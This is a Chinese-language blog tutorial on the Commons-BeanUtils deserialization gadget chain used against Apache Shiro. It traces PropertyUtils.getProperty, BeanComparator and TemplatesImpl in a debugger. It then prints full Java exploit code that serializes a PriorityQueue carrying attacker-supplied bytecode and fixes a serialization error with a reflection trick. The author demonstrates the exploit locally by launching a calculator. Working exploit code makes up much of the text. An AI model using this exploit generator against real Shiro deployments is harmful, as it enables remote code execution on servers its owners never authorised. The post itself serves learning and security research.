commons-beanutils简介

它也是Apache Commons项目的一个Java类库,提供了一组简单易用的API来操作Java对象和Bean属性。它的主要功能是将Java Bean的属性值与一组键值对(例如,从HTTP请求或表单参数中)相互转换。主要对javaBean功能的增强。它是shiro自带的依赖,此依赖也存在反序列化漏洞。

什么是javaBean

JavaBean是一种特定的Java类,它遵循一定的规范和格式,以便于被其他程序使用和操作。写一个javaBean格式的类吧,举个例子一看就懂,平常我们也经常写。

package com.payload;

public class Persion {
private String name;
private int age;

public Persion(String name, int age){
this.name = name;
this.age = age;
}

public String getName(){
return name;
}

public void setName(String name){
this.name = name;
}

public int getAge(){
return age;
}

public void setAge(){
this.age = age;
}
}

javaBean类设置有构造函数,私有属性和公共getter/setter方法:JavaBean类通常会包含一些私有属性,而这些属性必须通过公共的getter和setter方法进行访问和修改。这是为了保证JavaBean类的封装性,同时也方便外部程序对JavaBean对象的属性进行操作。在commons-beanutils的java库中的PropertyUtils类能够动态调用getter/setter方法,获取属性值。

package com.payload;

import org.apache.commons.beanutils.PropertyUtils;


public class Beantest {
public static void main(String[] args) throws Exception{
Persion persion = new Persion("xilitter",19);
System.out.println(PropertyUtils.getProperty(persion,"name"));
}
}

看运行结果也确实能够获取到name属性。

漏洞原理剖析

从上面的例子能够知道,PropertyUtils类的getProperty函数能够动态调用javaBean的getter/setter方法,有点像动态代理的函数调用了。我们在此处下个断点跟进调试看一下。

跟到getProperty函数里面。

会调用到PropertyUtilsBean类的getProperty函数,继续跟进。

这里有几个分支判断,检查对象是否是一个Map,索引等,这里直接进入到最下面的else里,跟进。

跟进invokeMethod函数,

if条件判断后调用了invoke函数,这里的method是getName函数,它会调用Persion类的此方法。

而结果也正是如此。

从上面的分析上看,我们可以调用任意函数的任意方法,但是仅限于调用javaBean格式的方法,也就是get和set打头的方法。而在CC3链的动态加载类那块,是有符合javaBean格式的方法的,在TemplatesImpl类的getOutputProperties函数,

这函数里是调用了newTransformer方法的,而我们分析过CC3链就知道,它是动态加载恶意类的关键函数,这里可以利用PropertyUtils类的getProperty方法来获取TemplatesImpl类的OutputProperties属性从而调用这个getOutputProperties方法触发恶意类加载弹出计算器。编写程序:

package shiro.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class Beantest {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
//反射修改值
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
PropertyUtils.getProperty(templates,"outputProperties");
}

这代码大部分都是CC3的内容,在这不细讲了。学习shiro这一块肯定是要先了解CC的,CC链是基础。运行代码看此思路走不走的通。

成功弹出计算器,没毛病。

构造链子

链子的后半段就用TemplatesImpl类的动态类加载了,然后就调用getProperty函数进而调用newTransformer触发了。查找用法,找找什么类的什么方法调用了getProperty方法。这里查找到BeanComparator类的compare方法,

在CC2链中PriorityQueue类的siftUpUsingComparator方法调用了compare方法。

comparator属性可控,可以调用任意类的compare方法,而PriorityQueue类也重写了readObject方法,可以作为入口类,(具体细节详见CC2链)那么整条链子就对接上了。大致链子流程为:

PriorityQueue.readObject->siftUpUsingComparator->BeanComparator.compare->PropertyUtils.getProperty->TemplatesImpl.newTransformer->动态加载恶意类

问题分析与解决

事实上编写完初级版的EXP序列化都会出现报错的,放上初级EXP的关键代码:

public class Beantest {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
//反射修改值
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator("outputProperties",null);

PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(templates);
priorityQueue.add("2222");
serialize(priorityQueue);
}

看一下序列化的报错信息:

只看这条报错信息还是有点懵的,在add函数下个断点调试看一下。

第一个插入队列的是TemplatesImpl对象,没啥好跟的,看第二个add,

这里队列个数不是0,调用siftUp函数,跟进。

继续跟进这个函数里面,调用compare方法。

这里是要调getOutputProperties函数的,之后不再细跟了,直接到抛出异常那里。

这里调用2222的outputProperties属性发生异常。那么该怎么解决呢?引入CC依赖的TransformingComparator类,让PriorityQueue类的comparator属性赋值为它,不是默认shiro不带CC依赖的吗?这只是为了序列化不报错异常退出而已,后面再用反射改回来,实际上服务端执行的是序列化后的代码,而我们在序列化的时候就把comparator属性给改掉了,(反射的强大之处)为什么要引入TransformingComparator类,宏观上来看是为了不让第二个add发生报错。

该函数也重写了compare方法,这里将value1和value2作比较,而这两个值都是能直接可控的,主要还是为了不报错罢了,不清楚的小伙伴自己下断点跟一下就明白了。

完整版EXP:

package shiro.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Beantest {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();

Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
BeanComparator beanComparator = new BeanComparator("outputProperties",null);

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add("2222");

Class<PriorityQueue> cl = PriorityQueue.class;
Field comparatorFiled = cl.getDeclaredField("comparator");
comparatorFiled.setAccessible(true);
comparatorFiled.set(priorityQueue,beanComparator);

serialize(priorityQueue);
}

public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("shiro.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
System.out.println("1.序列化成功");
}
}

本地起环境打一下,看看效果。

弹出计算器,万岁。

结语

目前shiro专题就告一段落吧,shiro框架的其他版本后续再补,这次先放了。

反序列化之路任重而道远。